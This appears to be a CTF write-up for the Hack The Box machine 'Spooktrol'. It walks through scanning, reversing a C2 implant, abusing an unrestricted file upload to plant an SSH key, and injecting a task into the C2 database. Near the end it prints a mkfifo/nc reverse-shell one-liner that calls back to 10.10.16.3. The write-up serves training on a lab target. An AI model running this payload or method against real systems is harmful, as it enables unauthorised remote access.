Home Ultimate Hacking Competition October Semifinals
Post
Cancel

Ultimate Hacking Competition October Semifinals

Spooktrol

[Pasted image 20211027142056.png]

Objective

The objective of this assessment is to perform a penetration test against the server. The pentester is tasked with following methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report.

Nmap

IP : 10.10.11.123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ rustscan -a 10.10.11.123                                                                                                                                                          130 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.123:22
Open 10.10.11.123:80
Open 10.10.11.123:2222
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")

[~] Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-27 10:00 IST
Initiating Ping Scan at 10:00
Scanning 10.10.11.123 [2 ports]
Completed Ping Scan at 10:00, 0.31s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:00
Completed Parallel DNS resolution of 1 host. at 10:00, 0.06s elapsed
DNS resolution of 1 IPs took 0.06s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 2, TR: 3, CN: 0]
Initiating Connect Scan at 10:00
Scanning 10.10.11.123 [3 ports]
Discovered open port 80/tcp on 10.10.11.123
Discovered open port 22/tcp on 10.10.11.123
Discovered open port 2222/tcp on 10.10.11.123
Completed Connect Scan at 10:00, 0.59s elapsed (3 total ports)
Nmap scan report for 10.10.11.123
Host is up, received syn-ack (0.40s latency).
Scanned at 2021-10-27 10:00:53 IST for 1s

PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack
80/tcp   open  http         syn-ack
2222/tcp open  EtherNetIP-1 syn-ack

We have three ports open the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Nmap scan report for 10.10.11.123
Host is up, received user-set (0.38s latency).
Scanned at 2021-10-27 10:05:09 IST for 106s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack uvicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     date: Wed, 27 Oct 2021 04:50:04 GMT
|     server: uvicorn
|     content-length: 22
|     content-type: application/json
|     Connection: close
|     {"detail":"Not Found"}
|   GetRequest: 
|     HTTP/1.1 200 OK
|     date: Wed, 27 Oct 2021 04:49:49 GMT
|     server: uvicorn
|     content-length: 43
|     content-type: application/json
|     Connection: close
|     {"auth":"19c20cbea055b9e6e7da907401c17e6e"}
|   HTTPOptions: 
|     HTTP/1.1 405 Method Not Allowed
|     date: Wed, 27 Oct 2021 04:49:56 GMT
|     server: uvicorn
|     content-length: 31
|     content-type: application/json
|     Connection: close
|_    {"detail":"Method Not Allowed"}
| http-methods: 
|_  Supported Methods: GET
| http-robots.txt: 1 disallowed entry 
|_/file_management/?file=implant
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
2222/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.80%I=7%D=10/27%Time=6178D705%P=x86_64-pc-linux-gnu%r(Get
SF:Request,BB,"HTTP/1\.1\x20200\x20OK\r\ndate:\x20Wed,\x2027\x20Oct\x20202
SF:1\x2004:49:49\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2043\r\n
SF:content-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"aut
SF:h\":\"19c20cbea055b9e6e7da907401c17e6e\"}")%r(HTTPOptions,BF,"HTTP/1\.1
SF:\x20405\x20Method\x20Not\x20Allowed\r\ndate:\x20Wed,\x2027\x20Oct\x2020
SF:21\x2004:49:56\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2031\r\
SF:ncontent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"de
SF:tail\":\"Method\x20Not\x20Allowed\"}")%r(FourOhFourRequest,AD,"HTTP/1\.
SF:1\x20404\x20Not\x20Found\r\ndate:\x20Wed,\x2027\x20Oct\x202021\x2004:50
SF::04\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2022\r\ncontent-ty
SF:pe:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"detail\":\"No
SF:t\x20Found\"}");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 27 10:06:55 2021 -- 1 IP address (1 host up) scanned in 106.14 seconds

We have two SSH ports listening on the server. One is port 22 and other is port 2222 which is most probably a container.

Server IP Address Ports Open
10.10.11.123 TCP: 22, 80, 2222

Looking at the nmap scan we have robots.txt.

[Pasted image 20211027100919.png]

[Pasted image 20211027101033.png]

Accesssing the page in browser shows us binary information. Let’s download the file.

1
2
3
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ file implant 
implant: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=ce05777839d03f0df9cfcc82f20c437dd55e645e, with debug_info, not stripped

We have an elf binary file to analyze.

LFI

[Pasted image 20211027104554.png]

[Pasted image 20211027104608.png]

Reverse Engineering - implant

[Pasted image 20211027105342.png]

[Pasted image 20211027105405.png]

[Pasted image 20211027105439.png]

[Pasted image 20211027105548.png]

[Pasted image 20211027105626.png]

Let’s set the break point at the XOR function and see what exactly is happening inside the function.

[Pasted image 20211027105745.png]

[Pasted image 20211027105810.png]

We hit the break point at 0x402013. Let’s increase the instruction set

[Pasted image 20211027105939.png]

[Pasted image 20211027110015.png]

By the end of the function, the $rax contains the FLAG value.

FLAG1: UHC{R3v3ng_Master}

Further analysis of the binary.

[Pasted image 20211027110523.png]

[Pasted image 20211027110640.png]

Let’s add the domain in our /etc/hosts file.

1
2
3
cat /etc/hosts

10.10.11.123 spooktrol.htb

Let’s run the binary and see what exactly is the binary sending requests.

1
2
3
4
5
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ ./implant
{"status":0,"arg1":"whoami","id":3,"result":"","target":"10f116edd553be4fa2f8b755180fb48c","task":1,"arg2":""}
null{"task":0}
No tasks...

[Pasted image 20211027110852.png]

The implant binary send some queries to the server as per the traffic seen.

[Pasted image 20211027111009.png]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /poll HTTP/1.1
Host: spooktrol.htb
Accept: */*
Cookie: auth=110ef138e89bda22436433c909da1de0

HTTP/1.1 200 OK
date: Wed, 27 Oct 2021 05:53:08 GMT
server: uvicorn
content-length: 110
content-type: application/json

{"status":0,"arg1":"whoami","id":2,"result":"","target":"110ef138e89bda22436433c909da1de0","task":1,"arg2":""}POST /result HTTP/1.1
Host: spooktrol.htb
Accept: */*
Cookie: auth=110ef138e89bda22436433c909da1de0
Content-Length: 17
Content-Type: application/x-www-form-urlencoded

id=2&result=kali

By looking at the requests sent, a command of whoami is executed on our machine and result is been sent to the server. In our case hostname is kali

Also we see a task id in the above case is 1. Let’s search through the binary to see if we have any other functions inside the binary to exploit it.

[Pasted image 20211027111958.png]

We have a switch case in the binnary and the value of variable local_434 is initialized to 0 and never changed.

case 0: [Pasted image 20211027113056.png]

case 1: [Pasted image 20211027113019.png]

case 2: [Pasted image 20211027113034.png]

case 3: [Pasted image 20211027113123.png]

case 4: [Pasted image 20211027113145.png]

Let’s intercept the request and change the value of the variable

Before doing that let’s change some setting in burpsuite so that we can intercept the requests.

1
2
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ sudo socat TCP-LISTEN:80,fork,reuseaddr TCP:127.0.0.1:8080

[Pasted image 20211027115351.png]

All the requests on port 80 are forwarded to port 8080 and our burpsuite is listening on port 8080 to intercept.

[Pasted image 20211027115310.png]

This confirms our setting are working fine.

A deep dive into case 3 where an Upload functionality is available.

[Pasted image 20211027131856.png]

[Pasted image 20211027131950.png]

After our modifications we should see task 3 getting executed.

[Pasted image 20211027132821.png]

[Pasted image 20211027132719.png]

Let’s set a break point at system call in performUpload function.

[Pasted image 20211027132851.png]

After running the programming in gdb we shall see the program is halted at our breakpoint.

[Pasted image 20211027133218.png]

if we observer $rdi contains the string of the command getting executed.

Let’s print the $rdi register

[Pasted image 20211027133312.png]

The file getting uploaded is whoami, we need to change the parameter value so that we can upload our desired file.

Now we have the command to run. Let;s try to run from command line and see if it gets uploaded successfully.

1
2
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ curl -H 'Cookie: auth=1dfd1a7f33bde974dde77ad69812b9f2' -X PUT -F file=@testfile http://10.10.11.123/file_upload/ -x "http://127.0.0.1:8080"

User

[Pasted image 20211027134231.png]

[Pasted image 20211027134242.png]

Also note that we have LFI vulnerability from our initial finding. Let’s try to upload the inside the some other directly.

[Pasted image 20211027134638.png]

We can upload the file in any directory. Thats awesome.

Let’s upload our ssh-key in authorized_keys file to login.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali@kali)-[~/ctf/htb/spooktrol]
└─$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /tmp/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /tmp/id_rsa
Your public key has been saved in /tmp/id_rsa.pub
The key fingerprint is:
SHA256:+PzzWolaS3UMtT6X2Sp+bdgjYEHFQq6fyOlS6I5TFwc kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|          ..o..  |
|         E.o o . |
|          o.o .  |
|       . ..o +  +|
|      . S.o o =oo|
|       =.o+=.o + |
|      o =+=o= .+ |
|     ..o.=.+ oo.+|
|     .o.o.++o....|
+----[SHA256]-----+

[Pasted image 20211027134920.png]

[Pasted image 20211027134950.png]

We have successfully uploaded our file. Let’s try to login and check.

Since we have two SSH ports running. Let’s try on both the ports.

[Pasted image 20211027135117.png]

On port 2222 we have successfully logged as root.

[Pasted image 20211027135146.png]

We have our user flag.

Root

1
2
3
4
5
6
7
8
9
10
root@spook2:/opt/spook2# ls -rlta
total 56
-rw-r--r-- 1 root root   115 Oct 20 00:32 server.py
-rw-r--r-- 1 root root   371 Oct 21 11:09 Dockerfile
drwxr-xr-x 1 root root    90 Oct 21 21:45 app
drwxr-xr-x 1 root root    12 Oct 21 21:46 ..
drwxr-xr-x 1 root root    14 Oct 27 08:37 files
-rw-r--r-- 1 root root 49152 Oct 27 08:38 sql_app.db
drwxr-xr-x 1 root root    74 Oct 27 08:38 .
root@spook2:/opt/spook2# 

Let’s have a look at sqlite database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@spook2:/opt/spook2# sqlite3 sql_app.db 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE sessions (
        id INTEGER NOT NULL, 
        session VARCHAR, 
        hostname VARCHAR, 
        PRIMARY KEY (id)
);
CREATE INDEX ix_sessions_hostname ON sessions (hostname);
CREATE INDEX ix_sessions_id ON sessions (id);
CREATE UNIQUE INDEX ix_sessions_session ON sessions (session);
CREATE TABLE tasks (
        id INTEGER NOT NULL, 
        target VARCHAR, 
        status INTEGER, 
        task INTEGER, 
        arg1 VARCHAR, 
        arg2 VARCHAR, 
        result VARCHAR, 
        PRIMARY KEY (id)
);
CREATE INDEX ix_tasks_id ON tasks (id);
CREATE TABLE checkins (
        id INTEGER NOT NULL, 
        session VARCHAR, 
        time DATETIME, 
        PRIMARY KEY (id)
);
CREATE INDEX ix_checkins_id ON checkins (id);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlite> select * from sessions;
1|10a6dd5dde6094059db4d23d7710ae12|spooktrol
2|110ef138e89bda22436433c909da1de0|kali
3|10f116edd553be4fa2f8b755180fb48c|kali
4|1dda86551075b203d586f3ed04f6304e|kali
5|1d1ad5b9339d8d5ddccf3785d9a0f6a8|kali
6|14a9e86470142e498115e00032d96558|kali
7|1c2900fe914219773ce186f3db0e1748|kali
8|111dca99fbb854c70e8cd0f29c5fd152|kali
9|19c501937f8b3169551c0d807fb81012|kali
10|1f0342d7801b28da90c34e0d6626bbcc|kali
11|16b7460ab7e6e813dc6fd3d5b4134a30|kali
12|1370d4fc3004a44c27813485a511d5f0|kali
13|17b9cd0415509f104da9da709eb17abc|kali
14|1dfd1a7f33bde974dde77ad69812b9f2|kali

A new hostname spooktrol.

[Pasted image 20211027135954.png]

From the checkins table we can see the spooktrol agent is live. Let’s create a task to execute on that machine.(which is most probably the server)

1
sqlite> insert into tasks(target,status,task,arg1,arg2) values ("10a6dd5dde6094059db4d23d7710ae12","0","1","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.3 9001 >/tmp/f","");

Let’s wait for our payload to execute, as the checkins are running for every two minutes.

[Pasted image 20211027140832.png]

We get a reverse shell back on our machine and now we can the root flag on the base server.

This post is licensed under CC BY 4.0 by the author.